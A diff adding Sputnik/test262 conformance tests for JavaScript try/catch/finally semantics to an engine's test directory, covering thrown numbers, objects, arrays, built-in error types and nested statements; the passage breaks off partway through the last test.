--- /dev/null
+++ b/js/src/tests/test262/ch12/12.14/S12.14_A18_T5.js
@@ -0,0 +1,102 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Catching objects with try/catch/finally statement
+ *
+ * @path ch12/12.14/S12.14_A18_T5.js
+ * @description Catching Number
+ */
+
+// CHECK#1
+try{
+ throw 13;
+}
+catch(e){
+ if (e!==13) $ERROR('#1: Exception ===13. Actual: Exception ==='+ e );
+}
+
+// CHECK#2
+try{
+ throw 10+3;
+}
+catch(e){
+ if (e!==13) $ERROR('#2: Exception ===13. Actual: Exception ==='+ e );
+}
+
+// CHECK#3
+var b=13;
+try{
+ throw b;
+}
+catch(e){
+ if (e!==13) $ERROR('#3: Exception ===13. Actual: Exception ==='+ e );
+}
+
+// CHECK#4
+var a=3;
+var b=10;
+try{
+ throw a+b;
+}
+catch(e){
+ if (e!==13) $ERROR('#4: Exception ===13. Actual: Exception ==='+ e );
+}
+
+// CHECK#5
+try{
+ throw 2.13;
+}
+catch(e){
+ if (e!==2.13) $ERROR('#5: Exception ===2.13. Actual: Exception ==='+ e );
+}
+
+// CHECK#6
+var ex=2/3;
+try{
+ throw 2/3;
+}
+catch(e){
+ if (e!==ex) $ERROR('#6: Exception ===2/3. Actual: Exception ==='+ e );
+}
+
+// CHECK#7
+try{
+ throw NaN;
+}
+catch(e){
+ if (!isNaN(e)) $ERROR('#7: Exception is NaN');
+}
+
+// CHECK#8
+try{
+ throw +Infinity;
+}
+catch(e){
+ if (e!==+Infinity) $ERROR('#8: Exception ===+Infinity. Actual: Exception ==='+ e );
+}
+
+// CHECK#9
+try{
+ throw -Infinity;
+}
+catch(e){
+ if (e!==-Infinity) $ERROR('#9: Exception ===-Infinity. Actual: Exception ==='+ e );
+}
+
+// CHECK#10
+try{
+ throw +0;
+}
+catch(e){
+ if (e!==+0) $ERROR('#10: Exception ===+0. Actual: Exception ==='+ e );
+}
+
+// CHECK#11
+try{
+ throw -0;
+}
+catch(e){
+ if (e!==-0) $ERROR('#11: Exception ===-0. Actual: Exception ==='+ e );
+}
+
diff --git a/js/src/tests/test262/ch12/12.14/S12.14_A18_T6.js b/js/src/tests/test262/ch12/12.14/S12.14_A18_T6.js
new file mode 100644
index 000000000..ca17450b3
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.14/S12.14_A18_T6.js
@@ -0,0 +1,55 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Catching objects with try/catch/finally statement
+ *
+ * @path ch12/12.14/S12.14_A18_T6.js
+ * @description Catching Object
+ */
+
+var myObj = {p1: 'a',
+ p2: 'b',
+ p3: 'c',
+ value: 'myObj_value',
+ valueOf : function(){return 'obj_valueOf';},
+ parseInt : function(){return 'obj_parseInt';},
+ NaN : 'obj_NaN',
+ Infinity : 'obj_Infinity',
+ eval : function(){return 'obj_eval';},
+ parseFloat : function(){return 'obj_parseFloat';},
+ isNaN : function(){return 'obj_isNaN';},
+ isFinite : function(){return 'obj_isFinite';},
+ i:7,
+}
+
+try{
+ throw myObj;
+}
+catch(e){
+// CHECK#1
+ if (e.p1!=="a") $ERROR('#1: e.p1==="a". Actual: e.p1==='+ e.p1 );
+// CHECK#2
+ if (e.value!=='myObj_value') $ERROR('#2: e.value===\'myObj_value\'. Actual: e.value==='+ e.value );
+// CHECK#3
+ if (e.eval()!=='obj_eval') $ERROR('#3: e.eval()===\'obj_eval\'. Actual: e.eval()==='+ e.eval() );
+}
+
+// CHECK#4
+myObj.i=6;
+try{
+ throw myObj;
+}
+catch(e){}
+if (myObj.i!==6) $ERROR('#4: Handling of catch must be correct');
+
+// CHECK#5
+myObj.i=6;
+try{
+ throw myObj;
+}
+catch(e){
+ e.i=10;
+}
+if (myObj.i!==10) $ERROR('#5: Handling of catch must be correct');
+
diff --git a/js/src/tests/test262/ch12/12.14/S12.14_A18_T7.js b/js/src/tests/test262/ch12/12.14/S12.14_A18_T7.js
new file mode 100644
index 000000000..905cfa0bc
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.14/S12.14_A18_T7.js
@@ -0,0 +1,66 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Catching objects with try/catch/finally statement
+ *
+ * @path ch12/12.14/S12.14_A18_T7.js
+ * @description Catching Array
+ */
+
+var mycars = new Array();
+mycars[0] = "Saab";
+mycars[1] = "Volvo";
+mycars[2] = "BMW";
+
+var mycars2 = new Array();
+mycars2[0] = "Mercedes";
+mycars2[1] = "Jeep";
+mycars2[2] = "Suzuki";
+
+// CHECK#1
+try{
+ throw mycars;
+}
+catch(e){
+ for (var i=0;i<3;i++){
+ if (e[i]!==mycars[i]) $ERROR('#1.'+i+': Exception['+i+']===mycars['+i+']. Actual: Exception['+i+']==='+ e[i] );
+ }
+}
+
+// CHECK#2
+try{
+ throw mycars.concat(mycars2);
+}
+catch(e){
+ for (var i=0;i<3;i++){
+ if (e[i]!==mycars[i]) $ERROR('#2.'+i+': Exception['+i+']===mycars['+i+']. Actual: Exception['+i+']==='+ e[i] );
+ }
+ for (var i=3;i<6;i++){
+ if (e[i]!==mycars2[i-3]) $ERROR('#2.'+i+': Exception['+i+']===mycars2['+i+']. Actual: Exception['+i+']==='+ e[i] );
+ }
+}
+
+// CHECK#3
+try{
+ throw new Array("Mercedes","Jeep","Suzuki");
+}
+catch(e){
+ for (var i=0;i<3;i++){
+ if (e[i]!==mycars2[i]) $ERROR('#3.'+i+': Exception['+i+']===mycars2['+i+']. Actual: Exception['+i+']==='+ e[i]);
+ }
+}
+
+// CHECK#4
+try{
+ throw mycars.concat(new Array("Mercedes","Jeep","Suzuki"));
+}
+catch(e){
+ for (var i=0;i<3;i++){
+ if (e[i]!==mycars[i]) $ERROR('#4.'+i+': Exception['+i+']===mycars['+i+']. Actual: Exception['+i+']==='+ e[i] );
+ }
+ for (var i=3;i<6;i++){
+ if (e[i]!==mycars2[i-3]) $ERROR('#4.'+i+': Exception['+i+']===mycars2['+(i-3)+']. Actual: Exception['+i+']==='+ e[i]);
+ }
+}
+
diff --git a/js/src/tests/test262/ch12/12.14/S12.14_A19_T1.js b/js/src/tests/test262/ch12/12.14/S12.14_A19_T1.js
new file mode 100644
index 000000000..c2e8d27a4
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.14/S12.14_A19_T1.js
@@ -0,0 +1,68 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Catching system exceptions of different types with try statement
+ *
+ * @path ch12/12.14/S12.14_A19_T1.js
+ * @description Testing try/catch syntax construction
+ */
+
+// CHECK#1
+try{
+ throw (Error("hello"));
+}
+catch(e){
+ if (e.toString()!=="Error: hello") $ERROR('#1: Exception.toString()==="Error: hello". Actual: Exception is '+e);
+}
+
+// CHECK#2
+try{
+ throw (new Error("hello"));
+}
+catch(e){
+ if (e.toString()!=="Error: hello") $ERROR('#2: Exception.toString()==="Error: hello". Actual: Exception is '+e);
+}
+
+// CHECK#3
+var c3=0;
+try{
+ throw EvalError(1);
+}
+catch(e){
+ if (e.toString()!=="EvalError: 1") $ERROR('#3: Exception.toString()==="EvalError: 1". Actual: Exception is '+e);
+}
+
+// CHECK#4
+try{
+ throw RangeError(1);
+}
+catch(e){
+ if (e.toString()!=="RangeError: 1") $ERROR('#4: Exception.toString()==="RangeError: 1". Actual: Exception is '+e);
+}
+
+// CHECK#5
+try{
+ throw ReferenceError(1);
+}
+catch(e){
+ if (e.toString()!=="ReferenceError: 1") $ERROR('#5: Exception.toString()==="ReferenceError: 1". Actual: Exception is '+e);
+}
+
+// CHECK#6
+var c6=0;
+try{
+ throw TypeError(1);
+}
+catch(e){
+ if (e.toString()!=="TypeError: 1") $ERROR('#6: Exception.toString()==="TypeError: 1". Actual: Exception is '+e);
+}
+
+// CHECK#7
+try{
+ throw URIError("message", "fileName", "1");
+}
+catch(e){
+ if (e.toString()!=="URIError: message") $ERROR('#7: Exception.toString()==="URIError: message". Actual: Exception is '+e);
+}
+
diff --git a/js/src/tests/test262/ch12/12.14/S12.14_A19_T2.js b/js/src/tests/test262/ch12/12.14/S12.14_A19_T2.js
new file mode 100644
index 000000000..acc465ea1
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.14/S12.14_A19_T2.js
@@ -0,0 +1,102 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Catching system exceptions of different types with try statement
+ *
+ * @path ch12/12.14/S12.14_A19_T2.js
+ * @description Testing try/catch/finally syntax construction
+ */
+
+var fin=0;
+// CHECK#1
+try{
+ throw (Error("hello"));
+}
+catch(e){
+ if (e.toString()!=="Error: hello") $ERROR('#1.1: Exception.toString()==="Error: hello". Actual: Exception is '+e);
+}
+finally{
+ fin=1;
+}
+if (fin!==1) $ERROR('#1.2: "finally" block must be evaluated');
+
+// CHECK#2
+fin=0;
+try{
+ throw (new Error("hello"));
+}
+catch(e){
+ if (e.toString()!=="Error: hello") $ERROR('#2.1: Exception.toString()==="Error: hello". Actual: Exception is '+e);
+}
+finally{
+ fin=1;
+}
+if (fin!==1) $ERROR('#2.2: "finally" block must be evaluated');
+
+// CHECK#3
+fin=0;
+var c3=0;
+try{
+ throw EvalError(1);
+}
+catch(e){
+ if (e.toString()!=="EvalError: 1") $ERROR('#3.1: Exception.toString()==="EvalError: 1". Actual: Exception is '+e);
+}
+finally{
+ fin=1;
+}
+if (fin!==1) $ERROR('#3.2: "finally" block must be evaluated');
+
+// CHECK#4
+fin=0;
+try{
+ throw RangeError(1);
+}
+catch(e){
+ if (e.toString()!=="RangeError: 1") $ERROR('#4.1: Exception.toString()==="RangeError: 1". Actual: Exception is '+e);
+}
+finally{
+ fin=1;
+}
+if (fin!==1) $ERROR('#4.2: "finally" block must be evaluated');
+
+// CHECK#5
+fin=0;
+try{
+ throw ReferenceError(1);
+}
+catch(e){
+ if (e.toString()!=="ReferenceError: 1") $ERROR('#5.1: Exception.toString()==="ReferenceError: 1". Actual: Exception is '+e);
+}
+finally{
+ fin=1;
+}
+if (fin!==1) $ERROR('#5.2: "finally" block must be evaluated');
+
+// CHECK#6
+fin=0;
+try{
+ throw TypeError(1);
+}
+catch(e){
+ if (e.toString()!=="TypeError: 1") $ERROR('#6.1: Exception.toString()==="TypeError: 1". Actual: Exception is '+e);
+}
+finally{
+ fin=1;
+}
+if (fin!==1) $ERROR('#6.2: "finally" block must be evaluated');
+
+// CHECK#7
+fin=0;
+try{
+ throw URIError("message", "fileName", "1");
+}
+catch(e){
+ if (e.toString()!=="URIError: message") $ERROR('#7.1: Exception.toString()==="URIError: message". Actual: Exception is '+e);
+}
+finally{
+ fin=1;
+}
+if (fin!==1) $ERROR('#7.2: "finally" block must be evaluated');
+
diff --git a/js/src/tests/test262/ch12/12.14/S12.14_A2.js b/js/src/tests/test262/ch12/12.14/S12.14_A2.js
new file mode 100644
index 000000000..4185b346f
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.14/S12.14_A2.js
@@ -0,0 +1,52 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Throwing exception with "throw" and catching it with "try" statement
+ *
+ * @path ch12/12.14/S12.14_A2.js
+ * @description Checking if execution of "catch" catches an exception thrown with "throw"
+ */
+
+// CHECK#1
+try {
+ throw "catchme";
+ $ERROR('#1: throw "catchme" lead to throwing exception');
+}
+catch(e){}
+
+// CHECK#2
+var c2=0;
+try{
+ try{
+ throw "exc";
+ $ERROR('#2.1: throw "exc" lead to throwing exception');
+ }finally{
+ c2=1;
+ }
+}
+catch(e){
+ if (c2!==1){
+ $ERROR('#2.2: "finally" block must be evaluated');
+ }
+}
+
+// CHECK#3
+var c3=0;
+try{
+ throw "exc";
+ $ERROR('#3.1: throw "exc" lead to throwing exception');
+}
+catch(err){
+ var x3=1;
+}
+finally{
+ c3=1;
+}
+if (x3!==1){
+ $ERROR('#3.2: "catch" block must be evaluated');
+}
+if (c3!==1){
+ $ERROR('#3.3: "finally" block must be evaluated');
+}
+
diff --git a/js/src/tests/test262/ch12/12.14/S12.14_A3.js b/js/src/tests/test262/ch12/12.14/S12.14_A3.js
new file mode 100644
index 000000000..b87f6d57c
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.14/S12.14_A3.js
@@ -0,0 +1,53 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Catching system exception with "try" statement
+ *
+ * @path ch12/12.14/S12.14_A3.js
+ * @description Checking if execution of "catch" catches system exceptions
+ */
+
+// CHECK#1
+try{
+ y;
+ $ERROR('#1: "y" lead to throwing exception');
+}
+catch(e){}
+
+// CHECK#2
+var c2=0;
+try{
+ try{
+ someValue;
+ $ERROR('#3.1: "someValues" lead to throwing exception');
+ }
+ finally{
+ c2=1;
+ }
+}
+catch(e){
+ if (c2!==1){
+ $ERROR('#3.2: "finally" block must be evaluated');
+ }
+}
+
+// CHECK#3
+var c3=0,x3=0;
+try{
+ x3=someValue;
+ $ERROR('#3.1: "x3=someValues" lead to throwing exception');
+}
+catch(err){
+ x3=1;
+}
+finally{
+ c3=1;
+}
+if (x3!==1){
+ $ERROR('#3.2: "catch" block must be evaluated');
+}
+if (c3!==1){
+ $ERROR('#3.3: "finally" block must be evaluated');
+}
+
diff --git a/js/src/tests/test262/ch12/12.14/S12.14_A4.js b/js/src/tests/test262/ch12/12.14/S12.14_A4.js
new file mode 100644
index 000000000..e904f5c9e
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.14/S12.14_A4.js
@@ -0,0 +1,37 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Sanity test for "catch(Indetifier) statement"
+ *
+ * @path ch12/12.14/S12.14_A4.js
+ * @description Checking if deleting an exception fails
+ * @noStrict
+ */
+
+// CHECK#1
+try {
+ throw "catchme";
+ $ERROR('#1.1: throw "catchme" lead to throwing exception');
+}
+catch (e) {
+ if (delete e){
+ $ERROR('#1.2: Exception has DontDelete property');
+ }
+ if (e!=="catchme") {
+ $ERROR('#1.3: Exception === "catchme". Actual: Exception ==='+ e );
+ }
+}
+
+// CHECK#2
+try {
+ throw "catchme";
+ $ERROR('#2.1: throw "catchme" lead to throwing exception');
+}
+catch(e){}
+try{
+ e;
+ $ERROR('#2.2: Deleting catching exception after ending "catch" block');
+}
+catch(err){}
+
diff --git a/js/src/tests/test262/ch12/12.14/S12.14_A5.js b/js/src/tests/test262/ch12/12.14/S12.14_A5.js
new file mode 100644
index 000000000..f7620908b
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.14/S12.14_A5.js
@@ -0,0 +1,51 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production TryStatement: "try Block Finally" and the production TryStatement: "try Block Catch Finally"
+ *
+ * @path ch12/12.14/S12.14_A5.js
+ * @description Checking "catch" catches the Identifier in appropriate way
+ */
+
+// CHECK#1
+try {
+ throw "catchme";
+ throw "dontcatchme";
+ $ERROR('#1.1: throw "catchme" lead to throwing exception');
+}
+catch (e) {
+ if(e==="dontcatchme"){
+ $ERROR('#1.2: Exception !== "dontcatchme"');
+ }
+ if (e!=="catchme") {
+ $ERROR('#1.3: Exception === "catchme". Actual: Exception ==='+ e );
+ }
+}
+
+// CHECK#2
+function SwitchTest1(value){
+ var result = 0;
+ try{
+ switch(value) {
+ case 1:
+ result += 4;
+ throw result;
+ break;
+ case 4:
+ result += 64;
+ throw "ex";
+ }
+ return result;
+ }
+ catch(e){
+ if ((value===1)&&(e!==4)) $ERROR('#2.1: Exception === 4. Actual: '+e);
+ if ((value===4)&&(e!=="ex"))$ERROR('#2.2: Exception === "ex". Actual: '+e);
+ }
+ finally{
+ return result;
+ }
+}
+if (SwitchTest1(1)!==4) $ERROR('#2.3: "finally" block must be evaluated');
+if (SwitchTest1(4)!==64)$ERROR('#2.4: "finally" block must be evaluated');
+
diff --git a/js/src/tests/test262/ch12/12.14/S12.14_A6.js b/js/src/tests/test262/ch12/12.14/S12.14_A6.js
new file mode 100644
index 000000000..96b30dbc0
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.14/S12.14_A6.js
@@ -0,0 +1,67 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production TryStatement: "try Block Catch Finally"
+ *
+ * @path ch12/12.14/S12.14_A6.js
+ * @description Executing sequence of "try" statements, using counters with varying values within
+ */
+
+// CHECK#1
+var c1=0;
+try {
+ c1+=1;
+ y;
+ $ERROR('#1.1: "y" lead to throwing exception');
+}
+catch (e) {
+ c1*=2;
+}
+if (c1!==2){
+ $ERROR('#1.2: Sequence evaluation of commands try/catch is 1. try, 2. catch');
+}
+
+// CHECK#2
+var c2=0;
+try{
+ c2+=1;
+}
+finally{
+ c2*=2;
+}
+if (c2!==2){
+ $ERROR('#2: Sequence evaluation of commands try/finally is 1. try, 2. finally');
+}
+
+// CHECK#3
+var c3=0;
+try{
+ c3=1;
+ z;
+}
+catch(err){
+ c3*=2;
+}
+finally{
+ c3+=1;
+}
+if (c3!==3){
+ $ERROR('#3: Sequence evaluation of commands try/catch/finally(with exception) is 1. try, 2. catch, 3. finally');
+}
+
+// CHECK#4
+var c4=0;
+try{
+ c4=1;
+}
+catch(err){
+ c4*=3;
+}
+finally{
+ c4+=1;
+}
+if (c4!==2){
+ $ERROR('#4: Sequence evaluation of commands try/catch/finally(without exception) is 1. try, 2. finally');
+}
+
diff --git a/js/src/tests/test262/ch12/12.14/S12.14_A7_T1.js b/js/src/tests/test262/ch12/12.14/S12.14_A7_T1.js
new file mode 100644
index 000000000..86efa4fad
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.14/S12.14_A7_T1.js
@@ -0,0 +1,138 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Evaluating the nested productions TryStatement
+ *
+ * @path ch12/12.14/S12.14_A7_T1.js
+ * @description Checking if the production of nested TryStatement statements evaluates correct
+ */
+
+// CHECK#1
+try{
+ try{
+ throw "ex2";
+ }
+ catch(er2){
+ if (er2!=="ex2")
+ $ERROR('#1.1: Exception === "ex2". Actual: Exception ==='+ e );
+ throw "ex1";
+ }
+ }
+ catch(er1){
+ if (er1!=="ex1") $ERROR('#1.2: Exception === "ex1". Actual: '+er1);
+ if (er1==="ex2") $ERROR('#1.3: Exception !== "ex2". Actual: catch previous embedded exception');
+}
+
+// CHECK#2
+try{
+ throw "ex1";
+}
+catch(er1){
+ try{
+ throw "ex2";
+ }
+ catch(er1){
+ if (er1==="ex1") $ERROR('#2.1: Exception !== "ex1". Actual: catch previous catching exception');
+ if (er1!=="ex2") $ERROR('#2.2: Exception === "ex2". Actual: Exception ==='+ er1 );
+ }
+ if (er1!=="ex1") $ERROR('#2.3: Exception === "ex1". Actual: Exception ==='+ er1 );
+ if (er1==="ex2") $ERROR('#2.4: Exception !== "ex2". Actual: catch previous catching exception');
+}
+
+// CHECK#3
+try{
+ throw "ex1";
+}
+catch(er1){
+ if (er1!=="ex1") $ERROR('#3.1: Exception ==="ex1". Actual: Exception ==='+ er1 );
+}
+finally{
+ try{
+ throw "ex2";
+ }
+ catch(er1){
+ if (er1==="ex1") $ERROR('#3.2: Exception !=="ex1". Actual: catch previous embedded exception');
+ if (er1!=="ex2") $ERROR('#3.3: Exception ==="ex2". Actual: Exception ==='+ er1 );
+ }
+}
+
+// CHECK#4
+var c4=0;
+try{
+ throw "ex1";
+}
+catch(er1){
+ try{
+ throw "ex2";
+ }
+ catch(er1){
+ if (er1==="ex1") $ERROR('#4.1: Exception !=="ex1". Actual: catch previous catching exception');
+ if (er1!=="ex2") $ERROR('#4.2: Exception ==="ex2". Actual: Exception ==='+ er1 );
+ }
+ if (er1!=="ex1") $ERROR('#4.3: Exception ==="ex1". Actual: Exception ==='+ er1 );
+ if (er1==="ex2") $ERROR('#4.4: Exception !=="ex2". Actual: Catch previous embedded exception');
+}
+finally{
+ c4=1;
+}
+if (c4!==1) $ERROR('#4.5: "finally" block must be evaluated');
+
+// CHECK#5
+var c5=0;
+try{
+ try{
+ throw "ex2";
+ }
+ catch(er1){
+ if (er1!=="ex2") $ERROR('#5.1: Exception ==="ex2". Actual: Exception ==='+ er1 );
+ }
+ throw "ex1";
+}
+catch(er1){
+ if (er1!=="ex1") $ERROR('#5.2: Exception ==="ex1". Actual: Exception ==='+ er1 );
+ if (er1==="ex2") $ERROR('#5.3: Exception !=="ex2". Actual: catch previous embedded exception');
+}
+finally{
+ c5=1;
+}
+if (c5!==1) $ERROR('#5.4: "finally" block must be evaluated');
+
+// CHECK#6
+var c6=0;
+try{
+ try{
+ throw "ex1";
+ }
+ catch(er1){
+ if (er1!=="ex1") $ERROR('#6.1: Exception ==="ex1". Actual: Exception ==='+ er1 );
+ }
+}
+finally{
+ c6=1;
+}
+if (c6!==1) $ERROR('#6.2: "finally" block must be evaluated');
+
+// CHECK#7
+var c7=0;
+try{
+ try{
+ throw "ex1";
+ }
+ finally{
+ try{
+ c7=1;
+ throw "ex2";
+ }
+ catch(er1){
+ if (er1!=="ex2") $ERROR('#7.1: Exception ==="ex2". Actual: Exception ==='+ er1 );
+ if (er1==="ex1") $ERROR('#7.2: Exception !=="ex1". Actual: catch previous embedded exception');
+ c7++;
+ }
+ }
+}
+catch(er1){
+ if (er1!=="ex1") $ERROR('#7.3: Exception ==="ex1". Actual: Exception ==='+ er1 );
+}
+if (c7!==2) $ERROR('#7.4: "finally" block must be evaluated');
+
diff --git a/js/src/tests/test262/ch12/12.14/S12.14_A7_T2.js b/js/src/tests/test262/ch12/12.14/S12.14_A7_T2.js
new file mode 100644
index 000000000..94a8c343d
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.14/S12.14_A7_T2.js
@@ -0,0 +1,152 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Evaluating the nested productions TryStatement
+ *
+ * @path ch12/12.14/S12.14_A7_T2.js
+ * @description Checking if the production of nested TryStatement statements evaluates correct
+ */
+
+// CHECK#1
+try{
+ try{
+ throw "ex2";
+ }
+ finally{
+ throw "ex1";
+ }
+}
+catch(er1){
+ if (er1!=="ex1") $ERROR('#1.2: Exception === "ex1". Actual: Exception ==='+er1 );
+ if (er1==="ex2") $ERROR('#1.3: Exception !== "ex2". Actual: catch previous embedded exception');
+}
+
+// CHECK#2
+try{
+ try{
+ throw "ex1";
+ }
+ catch(er1){
+ if (er1!=="ex1") $ERROR('#2.1: Exception === "ex1". Actual: Exception ==='+er1 );
+ try{
+ throw "ex2";
+ }
+ finally{
+ throw "ex3";
+ }
+ $ERROR('#2.2: throw "ex1" lead to throwing exception');
+ }
+}
+catch(er1){
+ if (er1!=="ex3") $ERROR('#2.3: Exception === "ex3". Actual: Exception ==='+er1 );
+}
+
+// CHECK#3
+try{
+ try{
+ throw "ex1";
+ }
+ catch(er1){
+ if (er1!=="ex1") $ERROR('#3.1: Exception === "ex1". Actual: Exception ==='+er1 );
+ }
+ finally{
+ try{
+ throw "ex2";
+ }
+ finally{
+ throw "ex3";
+ }
+ }
+}
+catch(er1){
+ if (er1!=="ex3") $ERROR('#3.2: Exception === "ex3". Actual: Exception ==='+er1 );
+}
+
+// CHECK#4
+var c4=0;
+try{
+ try{
+ throw "ex1";
+ }
+ catch(er1){
+ if (er1!=="ex1") $ERROR('#4.1: Exception === "ex1". Actual: Exception ==='+er1 );
+ try{
+ throw "ex2";
+ }
+ finally{
+ throw "ex3";
+ }
+ }
+ finally{
+ c4=1;
+ }
+}
+catch(er1){
+ if (er1!=="ex3") $ERROR('#4.2: Exception === "ex3". Actual: Exception ==='+er1 );
+}
+if (c4!==1) $ERROR('#4.3: "finally" block must be evaluated');
+
+// CHECK#5
+var c5=0;
+try{
+ try{
+ throw "ex2";
+ }
+ finally{
+ throw "ex3";
+ }
+ throw "ex1";
+}
+catch(er1){
+ if (er1!=="ex3") $ERROR('#5.1: Exception === "ex3". Actual: Exception ==='+er1 );
+ if (er1==="ex2") $ERROR('#5.2: Exception !== "ex2". Actual: catch previous embedded exception');
+ if (er1==="ex1") $ERROR('#5.3: Exception !=="ex1". Actual: catch previous embedded exception');
+}
+finally{
+ c5=1;
+}
+if (c5!==1) $ERROR('#5.4: "finally" block must be evaluated');
+
+// CHECK#6
+var c6=0;
+try{
+ try{
+ try{
+ throw "ex1";
+ }
+ finally{
+ throw "ex2";
+ }
+ }
+ finally{
+ c6=1;
+ }
+}
+catch(er1){
+ if (er1!=="ex2") $ERROR('#6.1: Exception === "ex2". Actual: Exception ==='+er1 );
+}
+if (c6!==1) $ERROR('#6.2: "finally" block must be evaluated');
+
+// CHECK#7
+var c7=0;
+try{
+ try{
+ throw "ex1";
+ }
+ finally{
+ try{
+ c7=1;
+ throw "ex2";
+ }
+ finally{
+ c7++;
+ throw "ex3";
+ }
+ }
+}
+catch(er1){
+ if (er1!=="ex3") $ERROR('#7.1: Exception === "ex3". Actual: Exception ==='+er1 );
+}
+if (c7!==2) $ERROR('#7.2: Embedded "try/finally" blocks must be evaluated');
+
diff --git a/js/src/tests/test262/ch12/12.14/S12.14_A7_T3.js b/js/src/tests/test262/ch12/12.14/S12.14_A7_T3.js
new file mode 100644
index 000000000..183ab7d22
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.14/S12.14_A7_T3.js
@@ -0,0 +1,169 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Evaluating the nested productions TryStatement
+ *
+ * @path ch12/12.14/S12.14_A7_T3.js
+ * @description Checking if the production of nested TryStatement statements evaluates correct
+ */
+
+// CHECK#1
+try{
+ try{
+ throw "ex2";
+ }
+ catch(er2){
+ if (er2!=="ex2") $ERROR('#1.1: Exception === "ex2". Actual: Exception ==='+er2);
+ throw "ex1";
+ }
+ finally{
+ throw "ex3";
+ }
+}
+catch(er1){
+ if (er1!=="ex3") $ERROR('#1.2: Exception === "ex3". Actual: Exception ==='+er1);
+ if (er1==="ex2") $ERROR('#1.3: Exception !=="ex2". Actual: catch previous catched exception');
+ if (er1==="ex1") $ERROR('#1.4: Exception !=="ex1". Actual: catch previous embedded exception');
+}
+
+// CHECK#2
+var c2=0;
+try{
+ throw "ex1";
+}
+catch(er1){
+ try{
+ throw "ex2";
+ }
+ catch(er1){
+ if (er1==="ex1") $ERROR('#2.1: Exception !=="ex1". Actual: catch previous catched exception');
+ if (er1!=="ex2") $ERROR('#2.2: Exception === "ex2". Actual: Exception ==='+er1);
+ }
+ finally{
+ c2=1;
+ }
+ if (er1!=="ex1") $ERROR('#2.3: Exception === "ex1". Actual: Exception ==='+er1);
+ if (er1==="ex2") $ERROR('#2.4: Exception !== "ex2". Actual: catch previous embedded exception');
+}
+if (c2!==1) $ERROR('#2.5: "finally" block must be evaluated');
+
+// CHECK#3
+var c3=0;
+try{
+ throw "ex1";
+}
+catch(er1){
+ if (er1!=="ex1") $ERROR('#3.1: Exception === "ex1". Actual: Exception ==='+er1);
+}
+finally{
+ try{
+ throw "ex2";
+ }
+ catch(er1){
+ if (er1==="ex1") $ERROR('#3.2: Exception !=="ex1". Actual: catch previous catched exception');
+ if (er1!=="ex2") $ERROR('#3.3: Exception === "ex2". Actual: Exception ==='+er1);
+ }
+ finally{
+ c3=1;
+ }
+}
+if (c3!==1) $ERROR('#3.4: "finally" block must be evaluated');
+
+// CHECK#4
+var c4=0;
+try{
+ try{
+ throw "ex1";
+ }
+ catch(er1){
+ try{
+ throw "ex2";
+ }
+ catch(er1){
+ if (er1==="ex1") $ERROR('#4.1: Exception !=="ex2". Actual: catch previous catched exception');
+ if (er1!=="ex2") $ERROR('#4.2: Exception === "ex2". Actual: Exception ==='+er1);
+ }
+ finally{
+ c4=2;
+ throw "ex3";
+ }
+ if (er1!=="ex1") $ERROR('#4.3: Exception === "ex2". Actual: Exception ==='+er1);
+ if (er1==="ex2") $ERROR('#4.4: Exception !=="ex2". Actual: catch previous catched exception');
+ if (er1==="ex3") $ERROR('#4.5: Exception !=="ex3". Actual: Catch previous embedded exception');
+ }
+ finally{
+ c4*=2;
+ }
+}
+catch(er1){}
+if (c4!==4) $ERROR('#4.6: "finally" block must be evaluated');
+
+// CHECK#5
+var c5=0;
+try{
+ try{
+ throw "ex2";
+ }
+ catch(er1){
+ if (er1!=="ex2") $ERROR('#5.1: Exception === "ex2". Actual: Exception ==='+er1);
+ }
+ finally{
+ throw "ex3";
+ }
+ throw "ex1";
+}
+catch(er1){
+ if (er1!=="ex3") $ERROR('#5.2: Exception === "ex3". Actual: Exception ==='+er1);
+ if (er1==="ex2") $ERROR('#5.3: Exception !=="ex2". Actual: catch previous catched exception');
+ if (er1==="ex1") $ERROR('#5.4: Exception !=="ex1". Actual: catch previous embedded exception');
+}
+finally{
+ c5=1;
+}
+if (c5!==1) $ERROR('#5.5: "finally" block must be evaluated');
+
+// CHECK#6
+var c6=0;
+try{
+ try{
+ throw "ex1";
+ }
+ catch(er1){
+ if (er1!=="ex1") $ERROR('#6.1: Exception === "ex1". Actual: Exception ==='+er1);
+ }
+ finally{
+ c6=2;
+ }
+}
+finally{
+ c6*=2;
+}
+if (c6!==4) $ERROR('#6.2: "finally" block must be evaluated');
+
+// CHECK#7
+var c7=0;
+try{
